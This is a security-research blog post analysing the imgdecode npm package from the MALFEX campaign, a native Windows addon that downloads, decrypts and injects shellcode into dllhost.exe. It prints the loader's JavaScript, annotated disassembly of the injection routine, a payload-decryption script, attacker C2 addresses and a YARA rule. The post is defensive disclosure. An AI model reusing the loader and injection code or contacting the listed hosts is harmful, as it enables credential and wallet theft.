MALFEX Moves Its npm Loader into a Native Windows DLL

SafeDep Team
• • 12 min read

The npm package imgdecode hides a malicious loader in a compiled Node.js addon. Its nine-line JavaScript file loads a Windows dynamic-link library (DLL). When a Node.js program calls require('imgdecode') from a Windows console, the DLL attempts to download encrypted shellcode from GitHub. It decrypts the response and injects the result into a new dllhost.exe process. This code does not need an install script. On 2026-10-13, the package was still available on npm.

imgdecode is part of MALFEX, a malicious npm campaign that Checkmarx, CloudSEK, and other researchers disclosed in early October 2026. Those reports describe a chain of JavaScript packages. They do not name imgdecode. SafeDep found that the operator replaced each removed JavaScript loader with a new package, and then moved the loader logic into a native Node.js addon. The operator published version 1.0.3 on 2026-10-11, six days after the Checkmarx report. A related payload chain leads to the MALFEX Windows stealer and remote access tool (RAT). SafeDep did not recover banner.jpg, so the native loader’s link to that payload remains an inference.

Summary

  • Package: pkg:npm/imgdecode, versions 1.0.0 to 1.0.3, publisher malfexteste8.
  • Trigger: require('imgdecode') loads prebuilds/win32-x64/imgdecode.node. From version 1.0.1, the addon runs the loader in the N-API module initialization function. No install script is necessary.
  • Condition: the addon runs only when standard output is an interactive Windows console. CI jobs and sandboxes with redirected output do not trigger it.
  • Payload delivery: the addon downloads hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.jpg, decrypts it with AES-256-CBC, and injects the result into a suspended dllhost.exe.
  • Related payload: the recovered banner.png contains a Go downloader for hxxp://104.234.65[.]75:700/setup.exe, a 71.5 MB MALFEX stealer and RAT. The server still served this file on 2026-10-13. SafeDep has not confirmed that banner.jpg delivers the same payload.
  • Response: incident responders should treat a Windows workstation that loaded imgdecode as potentially compromised.

Campaign background

MALFEX is an npm campaign that targets Windows developers. Public reports link it to a Portuguese-speaking operator. Checkmarx published its analysis on 2026-10-05. CloudSEK, Orca Security, and The Hacker News also reported on the campaign. The reports list eight packages, an Overlord RAT branch, and a “stealer chain” with three roles:

  1. Fetch. cdn-img-fetch downloads an encrypted blob from the GitHub repository cavecrew/proj.
  2. Decrypt. img-to-native decrypts the blob and writes an executable to disk.
  3. Run. native-runner starts the executable.

The fetch package, the GitHub staging location, and the stage-2 downloader in this analysis are the same as in the Checkmarx report. The SHA-256 hash of the stage-2 downloader that SafeDep recovered, 2f268ca7…, is in the Checkmarx indicator list. This connects imgdecode to MALFEX with high confidence.

Timeline of the replacement packages

npm removed native-runner and img-to-native on 2026-09-28. The operator published replacements within two days. Each replacement did the same job as the removed package, with a different method.

Date (UTC)Event
2026-09-26cdn-img-fetch, img-to-native, and native-runner 1.0.0 published
2026-09-28 16:06npm removes native-runner and img-to-native
2026-09-30 03:29imgbundle 1.0.0 published (decrypt role, replaces img-to-native)
2026-09-30 03:37runhelper 1.0.0 published (run role, executes shellcode through koffi)
2026-09-30 16:13runhelper unpublished
2026-09-30 22:32imgdecode 1.0.0 published (run role, native addon)
2026-09-30 23:07imgdecode 1.0.1 published (addon does fetch, decrypt, and run)
2026-10-01 17:48imgdecode 1.0.2 published
2026-10-05Checkmarx publishes the MALFEX analysis
2026-10-07 23:06npm removes imgbundle
2026-10-08 13:03npm removes cdn-img-fetch
2026-10-11 22:09imgdecode 1.0.3 published (same DLL as 1.0.2, imgbundle dependency gone)

The operator used three packages to run the payload. native-runner started an executable from disk. The Open Source Vulnerabilities (OSV) database describes how runhelper used the koffi foreign function interface (FFI). It called VirtualAlloc, RtlMoveMemory, and CreateThread from JavaScript. Six hours after runhelper was unpublished, the operator published imgdecode with a compiled DLL to run the shellcode. From version 1.0.1, the DLL also downloads and decrypts the payload. Versions 1.0.1 and 1.0.2 still call require('imgbundle') before loading the DLL. Version 1.0.3 removes that dependency and needs no other MALFEX package.

Package entry point

The current index.js loads the native addon and exports a function that returns null:

imgdecode 1.0.3 / index.js
try {
  require('./prebuilds/win32-x64/imgdecode.node');
} catch (_) {
  try { require('./build/Release/imgdecode.node'); } catch (_) {}
}

function load() { return null; }

module.exports = { load };
JS 10 lines

The archived manifest has no install script, and the tarball has no binding.gyp file:

imgdecode 1.0.3 / package.json
{
  "name": "imgdecode",
  "version": "1.0.3",
  "description": "Native image buffer decoder for Node.js build pipelines",
  "main": "index.js",
  "keywords": ["image", "decode", "buffer", "native", "addon", "pipeline"],
  "author": "build-tools-community",
  "license": "MIT",
  "files": [
    "index.js",
    "readme.md",
    "prebuilds"
  ]
}
JSON 15 lines

The README shows an exec() function that spawns a program. Version 1.0.3 does not export that function. The runhelper OSV record describes the same misleading documentation.

Version 1.0.0 used a different design. The JavaScript waited for imgbundle to write a decrypted file, then passed the bytes to the addon through a decode() export. It also checked process.stdout.isTTY, which is the JavaScript form of the console check in the later DLL.

imgdecode 1.0.0 / index.js (excerpt)
require('imgbundle');
const fs = require('fs');
const path = require('path');
const { getAsset } = require('imgbundle');

let native = null;
try {
  native = require('./prebuilds/win32-x64/imgdecode.node');
} catch (_) {
  try { native = require('./build/Release/imgdecode.node'); } catch (_) {}
}

function load() {
  const asset = getAsset();
  if (!asset || !fs.existsSync(asset)) return null;
  const buf = fs.readFileSync(asset);
  if (native && native.decode) native.decode(buf);
  return { path: asset, size: buf.length };
}

if (process.stdout && process.stdout.isTTY) {
  try {
    if (!load()) {
      const dir = path.join(path.dirname(require.resolve('cdn-img-fetch')), '.runtime');
      if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true });
      const w = fs.watch(dir, () => {
        if (load()) try { w.close(); } catch (_) {}
      });
    }
  } catch (_) {}
}
JS 32 lines

Installation and execution

The saved npm registry metadata lists install: node-gyp rebuild. The archived package.json omits that script, and the archive has no binding.gyp. SafeDep has not confirmed how npm handles this metadata mismatch during installation.

The malicious code does not need a build step. The package contains the prebuilt DLL and loads it with require(). If the package is present, controls that only block install scripts do not stop this execution path.

Native addon

The addon is a 64-bit Microsoft Visual C++ (MSVC) DLL that uses node-addon-api. All three builds have the same program database (PDB) path:

C:\Users\Administrator\Desktop\npm\imgdecode\build\Release\imgdecode.pdb

The DLL exports napi_register_module_v1. Node.js calls this function when it loads the module. The function calls the malicious routine before it returns the module exports. This analysis uses version 1.0.3 (a5394626…), which is the same file as 1.0.2.

Console check

The routine first gets the standard output handle and calls GetConsoleMode. If the call fails, the routine returns without running the loader. GetConsoleMode fails when output goes to a pipe or a file. CI runners, automated sandboxes, and build tools often redirect output this way. Inference: this check favors execution from a developer’s terminal.

imgdecode.node 1.0.3 / console check and URL decoding (annotated excerpt)
; imgdecode.node 1.0.3, fcn.180009450 (called from the N-API module init)
0x18000948b  mov   ecx, 0xfffffff5                 ; STD_OUTPUT_HANDLE (-11)
0x180009490  call  [KERNEL32!GetStdHandle]
0x18000949e  lea   rcx, [rax - 1]
0x1800094a2  cmp   rcx, 0xfffffffffffffffd         ; NULL or INVALID_HANDLE_VALUE?
0x1800094a6  ja    0x180009799                     ; yes: return, do nothing
0x1800094b4  call  [KERNEL32!GetConsoleMode]
0x1800094ba  test  eax, eax
0x1800094bc  je    0x180009799                     ; stdout is not a console: return
; build the URL: 16-byte blocks XOR 0x37
0x1800094cf  movdqa xmm2, [0x18008af90]            ; 16 x 0x37
0x1800094db  xorps  xmm0, [0x18008b070]            ; "https://raw.gith"
0x1800094eb  xorps  xmm1, [0x18008b030]            ; "ubusercontent.co"
0x1800094fb  xorps  xmm0, [0x18008af70]            ; "m/cavecrew/proj/"
0x180009510  xor   byte [rbp + rax - 0x70], 0x37   ; tail: "main/banner.jpg"
0x18000951e  movdqa xmm0, [0x18008af30]
0x18000952a  xorps  xmm0, xmm2                     ; "nif-runtime-2027"
0x18000954e  lea   rcx, "Mozilla/5.0"
0x180009555  call  [WININET!InternetOpenA]
0x18000956c  mov   dword [var_18h], 0x80800000     ; INTERNET_FLAG_RELOAD | NO_CACHE_WRITE
0x180009581  call  [WININET!InternetOpenUrlA]
ASM 22 lines

Encoded strings

The DLL encodes strings with a one-byte XOR key, 0x37. It stores long strings as 16-byte blocks in .rdata. It decodes those blocks with xorps against a block of 0x37 bytes. It builds short strings on the stack and decodes them in a loop. The decoded values are:

PurposeDecoded value
Payload URLhxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.jpg
Key passphrasenif-runtime-2027
Modulekernel32.dll
Injection target\dllhost.exe (added to the system directory)
Resolved functionsCreateProcessW, VirtualAllocEx, WriteProcessMemory,
VirtualProtectEx, CreateRemoteThread, ResumeThread,
TerminateProcess, GetSystemDirectoryW, CloseHandle, Sleep

The DLL resolves the main functions used for process injection at runtime with GetProcAddress. The import table includes WinINet, bcrypt.dll, and KERNEL32.dll functions such as GetConsoleMode, VirtualProtect, and TerminateProcess.

Download and decryption

The DLL downloads the payload with WinINet and the user agent Mozilla/5.0. It keeps the response in memory. It decrypts the response with the Windows Cryptography API: Next Generation (CNG):

  • The AES-256 key is the SHA-256 hash of nif-runtime-2027.
  • The mode is cipher block chaining (CBC).
  • The first 16 bytes of the response are the initialization vector (IV). The remaining bytes are the ciphertext.
imgdecode.node 1.0.3 / decryption (annotated excerpt)
; imgdecode.node 1.0.3, fcn.1800090d0
0x180009107  cmp   r9d, 0x20                       ; body must be longer than 32 bytes
0x180009114  lea   rdx, u"SHA256"
0x18000913c  call  BCryptOpenAlgorithmProvider
0x180009180  call  BCryptHashData                  ; SHA-256("nif-runtime-2027")
0x18000919e  call  BCryptFinishHash                ; 32-byte AES key
0x1800091ae  lea   rdx, u"AES"
0x1800091cd  lea   r8, u"ChainingModeCBC"
0x1800091e6  call  BCryptSetProperty
0x180009217  call  BCryptGenerateSymmetricKey
0x180009230  lea   rdx, [r13 + 0x10]               ; ciphertext = body[16:]
0x180009238  lea   ebx, [r14 - 0x10]               ; ciphertext size = body size - 16 (IV = body[0:16])
0x180009279  call  BCryptDecrypt
ASM 14 lines

The imgbundle and img-to-native OSV records give the same passphrase. Checkmarx and CloudSEK give the img-to-native key as malfexteam2027. SafeDep decrypted the recovered payload only with nif-runtime-2027.

Image check

After decryption, the DLL checks the first bytes of the plaintext. If they match a JPEG or PNG signature, the DLL stops. Inference: the operator could turn the loader off by serving encrypted content that decrypts to an image. Serving an ordinary image would instead generally cause decryption to fail before this check.

imgdecode.node 1.0.3 / image check and dispatch (annotated excerpt)
; imgdecode.node 1.0.3, fcn.180009450, after decryption
0x18000966e  cmp   byte [rbx], 0xff
0x180009673  cmp   byte [rbx + 1], 0xd8            ; FF D8 = JPEG
0x180009677  je    0x180009719                     ; real image: free buffer, stop
0x180009683  cmp   byte [rbx], 0x89
0x180009688  cmp   byte [rbx + 1], 0x50
0x18000968e  cmp   byte [rbx + 2], 0x4e
0x180009694  cmp   byte [rbx + 3], 0x47            ; 89 'P' 'N' 'G' = PNG
0x180009698  je    0x180009719                     ; real image: free buffer, stop
0x1800096ce  lea   rcx, "kernel32.dll"             ; decoded with XOR 0x37
0x1800096d3  call  [KERNEL32!GetModuleHandleA]
0x1800096fd  call  fcn.180009b50                   ; inject into dllhost.exe
0x180009704  jne   0x180009714
0x18000970f  call  fcn.1800098e0                   ; fallback: run in node.exe
ASM 15 lines

Injection into dllhost.exe

For any other content, the DLL starts %SystemRoot%\System32\dllhost.exe in a suspended state, with no window and no console. It then:

  1. Allocates read-write memory in the new process with VirtualAllocEx.
  2. Copies the decrypted bytes with WriteProcessMemory and checks that it wrote all bytes.
  3. Changes the memory protection to execute-read with VirtualProtectEx.
  4. Starts a remote thread at the first byte of the buffer with CreateRemoteThread.
  5. Closes the handles and sleeps for 800 milliseconds.

The main thread of dllhost.exe stays suspended. The loader starts only the injected thread. If the injector reports failure, a fallback routine attempts to run the same bytes inside the Node.js process with VirtualAlloc, RtlMoveMemory, VirtualProtect, and CreateThread. The injector does not check the return value of VirtualProtectEx before calling CreateRemoteThread.

imgdecode.node 1.0.3 / process injection (annotated excerpt)
; imgdecode.node 1.0.3, fcn.180009b50
; API pointers come from GetProcAddress. Names are XOR 0x37 stack strings.
0x180009e27  call  rsi                             ; GetSystemDirectoryW(buf, 260)
0x180009e3d  mov   dword [var_10h], 0x5b5b536b     ; XOR 0x37 -> "\dllhost.exe"
0x180009e60  xor   byte [rbp + rax + 0x10], 0x37
0x180009efe  mov   dword [var_sp_28h], 0x800020c   ; CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP
                                                   ; | DETACHED_PROCESS | CREATE_SUSPENDED
0x180009f10  mov   dword [var_60h_2], 0x68         ; STARTUPINFOW.cb
0x180009f1b  mov   dword [var_24h_2], 1            ; STARTF_USESHOWWINDOW, wShowWindow = SW_HIDE
0x180009f2f  call  [CreateProcessW]
0x180009f3c  mov   r9d, 0x3000                     ; MEM_COMMIT | MEM_RESERVE
0x180009f45  mov   dword [var_20h_2], 4            ; PAGE_READWRITE
0x180009f4f  call  r12                             ; VirtualAllocEx
0x180009fc3  call  r13                             ; WriteProcessMemory
0x180009fca  cmp   qword [var_sp_78h], r14         ; all bytes written?
0x180009fdb  mov   r9d, 0x20                       ; PAGE_EXECUTE_READ
0x180009ff1  call  [VirtualProtectEx]
0x18000a010  call  [CreateRemoteThread]            ; start address = remote buffer
0x18000a01f  call  rbx                             ; CloseHandle (x3)
0x18000a034  mov   ecx, 0x320
0x18000a039  call  r15                             ; Sleep(800)
ASM 22 lines

The thread starts at offset zero of the buffer. The decrypted payload must therefore start with executable shellcode, rather than an ordinary Portable Executable (PE) file header. The runhelper OSV record describes the same requirement for its rt.jpg file.

Recovering the payload chain

The first download stage

At the start of the analysis, SafeDep could no longer access the GitHub account cavecrew. Requests for banner.jpg returned HTTP 404. The Internet Archive has a capture of the sibling file banner.png from 2026-10-06. The JavaScript stage of the chain used this file. It is a 1x1 PNG image followed by a 4-byte big-endian length and about 8 MB of base64 text. The text decrypts with the same key and the same IV layout. The script below supports both file formats:

SafeDep decryption script (reproduction)
# SafeDep reproduction of the MALFEX payload decryption
import base64, hashlib, struct, sys
from Crypto.Cipher import AES

KEY = hashlib.sha256(b'nif-runtime-2027').digest()

data = open(sys.argv[1], 'rb').read()
if data[:8] == b'\x89PNG\r\n\x1a\n':
    # JS-era carrier: PNG, then u32 big-endian length, then base64 text
    end = data.find(b'IEND') + 8
    size = struct.unpack('>I', data[end:end + 4])[0]
    body = base64.b64decode(data[end + 4:end + 4 + size])
else:
    # DLL-era banner.jpg: raw IV || ciphertext
    body = data

iv, ct = body[:16], body[16:]
pt = AES.new(KEY, AES.MODE_CBC, iv).decrypt(ct)
pt = pt[:-pt[-1]]  # PKCS#7
open(sys.argv[2], 'wb').write(pt)
PYTHON 21 lines

The plaintext is a 6.17 MB Windows executable, SHA-256 2f268ca7…. This is the same file as the “stealer chain downloader (26 Sep)” in the Checkmarx indicator list. SafeDep did not recover banner.jpg. Inference: the shared GitHub repository and encryption key suggest that banner.jpg may deliver the same downloader. The native loader’s next stage remains unconfirmed.

Stage 2, a Go downloader

The executable is a Go 1.27.1 program with the module name downloader. It downloads one file and runs it:

Stage 2 / Go build information and key strings
path	downloader
mod	downloader	(devel)
build	-buildmode=exe
build	-compiler=gc
build	-ldflags="-s -w -H windowsgui"
build	CGO_ENABLED=0
build	GOARCH=amd64
build	GOOS=windows

http://104.234.65.75:700/setup.exe
svc_update.exe
TEXT 12 lines

Stage 3, a stealer and remote access tool

On 2026-10-13, hxxp://104.234.65[.]75:700/setup.exe still served a 71.5 MB file. The IP address is in AS265919 (BB Host LTDA) in São Paulo, Brazil. The file is a Node.js 18 application packed with pkg. Its internal name is movinlike. The application code is V8 bytecode, so SafeDep analyzed it from string tables. The packed .env file contains the command-and-control (C2) address and a license key:

Stage 3 / pkg virtual file system
# C:\snapshot\src-clean\.env (pkg virtual file system)
NPM_API=http://104.234.65.75:7007
NPM_LICENSE=MALFEX-89BEE69BB61967AF1C3B07C9
NPM_RAT=1

# C:\snapshot\src-clean\package.json (excerpt)
  "name": "movinlike",
  "version": "1.0.0",
  "description": "movinlike",
TEXT 10 lines

Inference: the license key may indicate a malware builder or licensing system. This build (8d50cb1b…) is not the movinlike sample in the Checkmarx report (c9c374af…). SafeDep collected this different build after disclosure, but its build date is unknown. Most identifiers in the code are Portuguese, for example senhas (passwords), carteiras (wallets), areia (sandbox), and exfiltra. The following capabilities are inferences from string tables and embedded scripts. SafeDep did not recover the bytecode control flow or confirm successful execution:

  • Anti-analysis. Checks for virtual machines, sandbox user names, and analysis tools such as x64dbg, procmon, and wireshark.
  • Browser data. Targets Chromium passwords and cookies. Code for recovering the Chrome app-bound encryption key includes a SYSTEM scheduled task that runs PowerShell and a call to the Chrome IElevator Component Object Model (COM) interface. The evidence does not establish which path runs or whether it succeeds with the available privileges.
  • Discord. Extracts tokens and patches discord_desktop_core/index.js to send login, password change, and email change data to a webhook.
  • Wallets and games. Copies data from browser wallet extensions, desktop wallets, Steam, Epic Games, Riot, Battle.net, Minecraft, Ubisoft, and Telegram Desktop.
  • Files. Collects files with names that match seed, mnemonic, wallet, secret, token, senha, and similar words, and files such as .kdbx, .pem, .ppk, and .env.
  • RAT. Connects to ws://104.234.65[.]75:7007/agent?license=… and accepts commands for shell execution, file transfer, process control, clipboard access, screenshots, and mouse and keyboard input.
  • Persistence. Copies itself to %APPDATA%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe and adds a Run key and a scheduled task named MicrosoftEdgeUpdateService.
  • Anti-forensics. Edits records in Security and Sysmon event log (EVTX) files and recalculates their checksums. It also deletes the PowerShell history file.

The upload strings specify malfex.zip and /about/sendRouter on port 7007.

Exposure

SafeDep searched public GitHub code, lock files, and commits for imgdecode, imgbundle, and the other MALFEX package names. The searches found no public project that declares them as dependencies. The deps.dev results showed no dependent packages. npm counted 929 downloads of imgdecode from 2026-09-30 to 2026-10-12. Most downloads occurred on release days. Registry mirrors and scanners could explain those spikes, but the counts do not distinguish automated downloads from users. The number of affected workstations is unknown, and public searches do not cover private consumers.

Detection

A precompiled .node file alone does not indicate malware. These signals can help identify this loader when they occur together:

  • A prebuilds/ DLL in a package that has no native source and no binding.gyp file.
  • A native addon that imports WinINet or WinHTTP and bcrypt.dll, but has no image codec code.
  • node.exe as the parent process of dllhost.exe, with no /Processid: argument.
  • A node.exe connection to raw.githubusercontent.com followed by a dllhost.exe connection to an unknown host.

The YARA rule below matches all three imgdecode DLL builds. It does not match the stage-2 and stage-3 files or the legitimate better-sqlite3, koffi, and rookie-cookies addons that SafeDep tested.

malfex_imgdecode.yar
rule MALFEX_imgdecode_native_addon
{
    meta:
        description = "MALFEX imgdecode Node.js native addon that downloads, decrypts, and injects shellcode"
        author = "SafeDep"
        date = "2026-10-13"
        reference = "pkg:npm/imgdecode"
    strings:
        // "nif-runtime-2027" XOR 0x37
        $key_x37 = { 59 5E 51 1A 45 42 59 43 5E 5A 52 1A 05 07 05 00 }
        // "https://raw.gith" XOR 0x37
        $url_x37 = { 5F 43 43 47 44 0D 18 18 45 56 40 19 50 5E 43 5F }
        // "WriteProcessMemo" XOR 0x37
        $wpm_x37 = { 60 45 5E 43 52 67 45 58 54 52 44 44 7A 52 5A 58 }
        // "CreateRemoteThre" XOR 0x37
        $crt_x37 = { 74 45 52 56 43 52 65 52 5A 58 43 52 63 5F 45 52 }
        $napi = "napi_register_module_v1" ascii
        $pdb = "\\npm\\imgdecode\\build\\Release\\imgdecode.pdb" ascii
    condition:
        uint16(0) == 0x5A4D and $napi and ($pdb or 2 of ($key_x37, $url_x37, $wpm_x37, $crt_x37))
}
TEXT 22 lines

Indicators of compromise

IndicatorType
imgdecode 1.0.0, 1.0.1, 1.0.2, 1.0.3npm package
imgbundle 1.0.0 to 1.0.2, runhelper 1.0.0npm packages (removed)
malfexteste8, trelicas.flexionar_4q@icloud[.]comnpm publisher
hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.jpgShellcode download (AES-256-CBC)
hxxps://raw.githubusercontent[.]com/cavecrew/proj/main/banner.pngJavaScript-stage carrier
hxxp://104.234.65[.]75:700/setup.exeStage 3 download
104.234.65[.]75:7007, paths /about/sendRouter, /about/discordStealer upload API
ws://104.234.65[.]75:7007/agentRAT WebSocket
MALFEX-89BEE69BB61967AF1C3B07C9Stealer license key
nif-runtime-2027AES key passphrase (SHA-256)
%TEMP%\svc_update.exeStage 3 file name
%APPDATA%\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exePersistence copy
MicrosoftEdgeUpdateServiceRun key value and scheduled task
SHA-256File
d7b2f6d7da81301e7f76d6812d78f4a453439141d419831522ebf7cf5bf1c714imgdecode.node (1.0.0)
54d995c5be97408e96db72ecc27af1dd65716f96371df085c4ce681dca623d85imgdecode.node (1.0.1)
a53946269ffcd25c7fe1fad358c189f144dcca4d736f2b5a8ebc517a8d929dd1imgdecode.node (1.0.2, 1.0.3)
4f4f7d64139bde6d458a061c7fb7dd247f70f60a1ab47d87fd3634656586c106banner.png (archived carrier)
2f268ca76ab27971d8b16bd4ded26e1f9cd3d4460b894af2d4bdf89f0ab7ec4bStage 2 Go downloader
8d50cb1ba0c2a16a673a2d08a8fb5c45bd8755c95c30ded98a84c74bfe52c9e6Stage 3 setup.exe (MALFEX stealer)

Response

Incident responders should treat a Windows workstation that loaded imgdecode, imgbundle, runhelper, or another MALFEX package as potentially compromised.

  1. Responders should isolate the workstation and collect memory before a reboot. The native loader runs shellcode in memory.
  2. Responders should check for the persistence entries listed above and for node.exe child processes named dllhost.exe.
  3. Account owners should rotate credentials that the workstation stored or used. These include browser passwords, session cookies, Discord tokens, cloud keys, SSH keys, and npm and GitHub tokens.
  4. Wallet owners should transfer funds to new wallets if the workstation held their seed phrases.
  5. Responders should compare local Security and Sysmon event logs with external logs. The recovered stealer contains evidence of log-tampering capability, so local logs may be incomplete.

References

  • npm
  • malware
  • supply-chain
  • malfex
  • native-addon
  • windows

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.